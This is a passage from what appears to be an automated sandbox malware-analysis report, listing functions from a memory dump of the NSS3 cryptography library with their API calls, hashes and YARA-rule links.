memcpy.VCRUNTIME140(8B3C75C0,?,6C6B7FFA), ref: 6C6E2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E317B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: f48cee165710c75d3202fae1cf0f341e698c47b67168cecd6819d3976ae12d34
Instruction ID: f2d1f6942df020784f84320f38240f58c3e919b5c706991ca95d9e030ae020e5
Opcode Fuzzy Hash: f48cee165710c75d3202fae1cf0f341e698c47b67168cecd6819d3976ae12d34
Instruction Fuzzy Hash: 75A1D071A042199FDB24CF54CC84BEAB7B5EF49308F04809AED4967781E731AD45CF96

Function 6C6AED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C6AED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C6AEDCE

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

free.MOZGLUE(00000000,?,?,?,?,6C6AB04F), ref: 6C6AEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6AEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C6AEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AEEFB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 6e0c9554835efc570f3568e5e457c13af8e17d4ded35043990bc1b380158acc5
Instruction ID: 1d1d5aee2ead48616cfd6dd2b3ff47a05866d297dbc7188ceb97a6eea3599f10
Opcode Fuzzy Hash: 6e0c9554835efc570f3568e5e457c13af8e17d4ded35043990bc1b380158acc5
Instruction Fuzzy Hash: C0816CB5A002059FEB14CF99D884BAB77F5FF89308F144428E8159B751DB31EC26CBA9

Function 6C6ACCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6AC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C6ADAE2,?), ref: 6C6AC6C2

PR_Now.NSS3 ref: 6C6ACD35

Part of subcall function 6C709DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DC6
Part of subcall function 6C709DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C750A27), ref: 6C709DD1
Part of subcall function 6C709DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C709DED

Part of subcall function 6C696C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C641C6F,00000000,00000004,?,?), ref: 6C696C3F

PR_GetCurrentThread.NSS3 ref: 6C6ACD54

Part of subcall function 6C709BF0: TlsGetValue.KERNEL32(?,?,?,6C750A75), ref: 6C709C07

Part of subcall function 6C697260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C641CCC,00000000,00000000,?,?), ref: 6C69729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C6ACD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C6ACE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C6ACE2C

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C6ACE40

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

Part of subcall function 6C6ACEE0: PORT_ArenaMark_Util.NSS3(?,6C6ACD93,?), ref: 6C6ACEEE
Part of subcall function 6C6ACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C6ACD93,?), ref: 6C6ACEFC
Part of subcall function 6C6ACEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C6ACD93,?), ref: 6C6ACF0B
Part of subcall function 6C6ACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C6ACD93,?), ref: 6C6ACF1D

Part of subcall function 6C6ACEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C6ACD93,?), ref: 6C6ACF47
Part of subcall function 6C6ACEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C6ACD93,?), ref: 6C6ACF67
Part of subcall function 6C6ACEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C6ACD93,?,?,?,?,?,?,?,?,?,?,?,6C6ACD93,?), ref: 6C6ACF78

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 665271630c6100fa2487a392a597597ba21166546de9b7c64832e26af2d5bf94
Instruction ID: 906d190ae766c296882cfab32528b35f875714ea0afd8c538f5325359edeb6e3
Opcode Fuzzy Hash: 665271630c6100fa2487a392a597597ba21166546de9b7c64832e26af2d5bf94
Instruction Fuzzy Hash: A351B3B6A00205AFEB10EFA9DC40B9A77E4FF49348F250524D94697741EB32ED07CB99

Function 6C6BFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C6BFFE5

Part of subcall function 6C6EC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6EC2BF

PR_EnterMonitor.NSS3(?), ref: 6C6C0004
PR_EnterMonitor.NSS3(?), ref: 6C6C001B

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 60892c70ee78c5837702ebd1c1d087085709e33c9ebad49df69fdfc81b8367f7
Instruction ID: 29ae1d161e33744c6a65b99337fb1833b1f6e1fd6c5e64561ee5aa3b18bdf81f
Opcode Fuzzy Hash: 60892c70ee78c5837702ebd1c1d087085709e33c9ebad49df69fdfc81b8367f7
Instruction Fuzzy Hash: E44142F53486C08BE7208A68DC557EBB3A1EB4170CF10053EE44BCAE90E7B9A549C74B

Function 6C67EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C67EF38

Part of subcall function 6C669520: PK11_IsLoggedIn.NSS3(00000000,?,6C69379E,?,00000001,?), ref: 6C669542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C67EF53

Part of subcall function 6C684C20: TlsGetValue.KERNEL32 ref: 6C684C4C
Part of subcall function 6C684C20: EnterCriticalSection.KERNEL32(?), ref: 6C684C60
Part of subcall function 6C684C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C684CA1
Part of subcall function 6C684C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C684CBE
Part of subcall function 6C684C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C684CD2
Part of subcall function 6C684C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C684D3A

PR_GetCurrentThread.NSS3 ref: 6C67EF9E

Part of subcall function 6C709BF0: TlsGetValue.KERNEL32(?,?,?,6C750A75), ref: 6C709C07

free.MOZGLUE(00000000), ref: 6C67EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67F016
free.MOZGLUE(00000000), ref: 6C67F022

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: e431cfbcaed8091f68a686f6f42af7974051d330ce1ea54daa6fac0e823e6a38
Instruction ID: 69976962c9e159f1e4e46562537a54836c3fa6be2fbeab00fefeb74913b99b5c
Opcode Fuzzy Hash: e431cfbcaed8091f68a686f6f42af7974051d330ce1ea54daa6fac0e823e6a38
Instruction Fuzzy Hash: AA41A2B1E00109AFDF018FA9DC54BEE7BB9AF49358F004029F914A7750E772C9158BB9

Function 6C66CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C66CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C66D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C66D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66D025
PR_NewLock.NSS3 ref: 6C66D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C66D074

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 995dac1b82b0721b28bf113a77d3820c2325b1f2d5eff3236a9f9530821529fa
Instruction ID: 047e8bd1eecc83f6733b185f4e72f5e7fd89bf2203e7b5828e468542134777e3
Opcode Fuzzy Hash: 995dac1b82b0721b28bf113a77d3820c2325b1f2d5eff3236a9f9530821529fa
Instruction Fuzzy Hash: 2141BFB0A012119FDB10DF2AC88479A7BE4EF09358F21416ADC198FF46D774D885CBAA

Function 6C6B3FD0 Relevance: 9.1, APIs: 6, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B3FF2

Part of subcall function 6C6A14C0: TlsGetValue.KERNEL32 ref: 6C6A14E0
Part of subcall function 6C6A14C0: EnterCriticalSection.KERNEL32 ref: 6C6A14F5
Part of subcall function 6C6A14C0: PR_Unlock.NSS3 ref: 6C6A150D

PORT_ArenaMark_Util.NSS3(?), ref: 6C6B4001
PORT_ArenaAlloc_Util.NSS3(?,00000074), ref: 6C6B400F

Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A10F3
Part of subcall function 6C6A10C0: EnterCriticalSection.KERNEL32(?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A110C
Part of subcall function 6C6A10C0: PL_ArenaAllocate.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1141
Part of subcall function 6C6A10C0: PR_Unlock.NSS3(?,?,?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A1182
Part of subcall function 6C6A10C0: TlsGetValue.KERNEL32(?,6C648802,00000000,00000008,?,6C63EF74,00000000), ref: 6C6A119C

CERT_CertChainFromCert.NSS3(?,00000004,00000000), ref: 6C6B4054

Part of subcall function 6C64BB90: PORT_NewArena_Util.NSS3(00001000), ref: 6C64BC24
Part of subcall function 6C64BB90: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C64BC39
Part of subcall function 6C64BB90: PORT_ArenaAlloc_Util.NSS3(00000000), ref: 6C64BC58
Part of subcall function 6C64BB90: SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C64BCBE

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6B4070
NSS_CMSSignedData_Destroy.NSS3(00000000), ref: 6C6B40CD

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$CertCriticalEnterMark_SectionUnlock$AllocateArena_ChainCopyData_DestroyErrorFromItem_Signed
String ID:
API String ID: 3882640887-0
Opcode ID: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction ID: 16a4399b3891cece5b6c4b3318ecbe4c3d5353456950ee94b4f427f2663de008
Opcode Fuzzy Hash: 8565db44def4394cf1c4ce5b1bb8f6a2474b8ca5098013b0b962094d5317ff05
Instruction Fuzzy Hash: 233128B5E0034197EB008F649C81BBB3764AF9170CF144224ED08AB742FB71E96883AA

Function 6C652E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C642D1A), ref: 6C652E7E

Part of subcall function 6C6A07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C648298,?,?,?,6C63FCE5,?), ref: 6C6A07BF
Part of subcall function 6C6A07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C6A07E6
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A081B
Part of subcall function 6C6A07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6A0825

PR_Now.NSS3 ref: 6C652EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C652EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C642D1A), ref: 6C652F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C642D1A), ref: 6C652F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C652F81

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 5cfa4a63010f718305869c9a631d23e0c51f8e30e8ca6cf53ea3861173442be9
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: 483123716411008BE710C655FC4CBAFB365EF81318FB48979D42A97AD0EB3298AAC65E

Function 6C640E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C640A2C), ref: 6C640E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C640A2C), ref: 6C640E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C640A2C), ref: 6C640E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C640A2C), ref: 6C640E90
free.MOZGLUE(00000000), ref: 6C640EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C640A2C), ref: 6C640ED9

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: dc49d566ad79ce615f242cd032a4065bb98a2c839da053602be397d26c3e1e3b
Instruction ID: 547cac12dbf2fb5f50c08e998523a475e7c1bb2a65af08f67c9e1470bfc85ff0
Opcode Fuzzy Hash: dc49d566ad79ce615f242cd032a4065bb98a2c839da053602be397d26c3e1e3b
Instruction Fuzzy Hash: F9216177E002A597EB0049765C45FA772AEDFE270DF05C435D81853601EB61C83782AA

Function 6C64AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C64AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C64AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C64AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C769500), ref: 6C64AF23

Part of subcall function 6C69F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C69F0C8
Part of subcall function 6C69F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C69F122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C64AF37

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: d61ae97812afc3fb0e1d05dfafb8a3e7e74b2a74c37ccccb6229be5c3c782fff
Instruction ID: 20de1be9a2f0e1e7b65b86d7c764d72a229a75432279595b79cb5eb464abe50e
Opcode Fuzzy Hash: d61ae97812afc3fb0e1d05dfafb8a3e7e74b2a74c37ccccb6229be5c3c782fff
Instruction Fuzzy Hash: 2F21FBB15092007BE7108E589C41B9A7BA4AF85728F14C325FC649B7D2E731D94587AF

Function 6C6CEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6CEE85
realloc.MOZGLUE(5D0A8343,?), ref: 6C6CEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C6CEEC5

Part of subcall function 6C6A0BE0: malloc.MOZGLUE(6C698D2D,?,00000000,?), ref: 6C6A0BF8
Part of subcall function 6C6A0BE0: TlsGetValue.KERNEL32(6C698D2D,?,00000000,?), ref: 6C6A0C15

htonl.WSOCK32(?), ref: 6C6CEEE3
htonl.WSOCK32(00000000,?), ref: 6C6CEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C6CEF01

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: f9faed1239fb04f8fae1e715f37a8c803519ce3ce00e758b32f0cd783ad2f8a6
Instruction ID: 9aae73115de44d75d6e311a92de3546c582f15a345954fe3a99cc3881ec8c3ab
Opcode Fuzzy Hash: f9faed1239fb04f8fae1e715f37a8c803519ce3ce00e758b32f0cd783ad2f8a6
Instruction Fuzzy Hash: 6E21D171A002149FCB109F28DC85B9ABBB4EF49398F148179EC199B641E730ED15CBEA

Function 6C67EE30 Relevance: 9.1, APIs: 6, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C67EE49

Part of subcall function 6C69FAB0: free.MOZGLUE(?,-00000001,?,?,6C63F673,00000000,00000000), ref: 6C69FAC7

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C67EE5C
PK11_CreateContextBySymKey.NSS3(?,00000104,?,?), ref: 6C67EE77
PK11_CipherOp.NSS3(00000000,?,00000008,?,?,?), ref: 6C67EE9D
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67EEB3

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: K11_$ContextItem_Util$AllocCipherCreateDestroyZfreefree
String ID:
API String ID: 886189093-0
Opcode ID: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
Instruction ID: 3b91bca1f12b94f8b16b61604d875573f27eeb305617803469cadd292d875654
Opcode Fuzzy Hash: c406ce7318dedb9b6bcb4b4cacb5e4229fd26394528e3ac5a67ff4d0476811dc
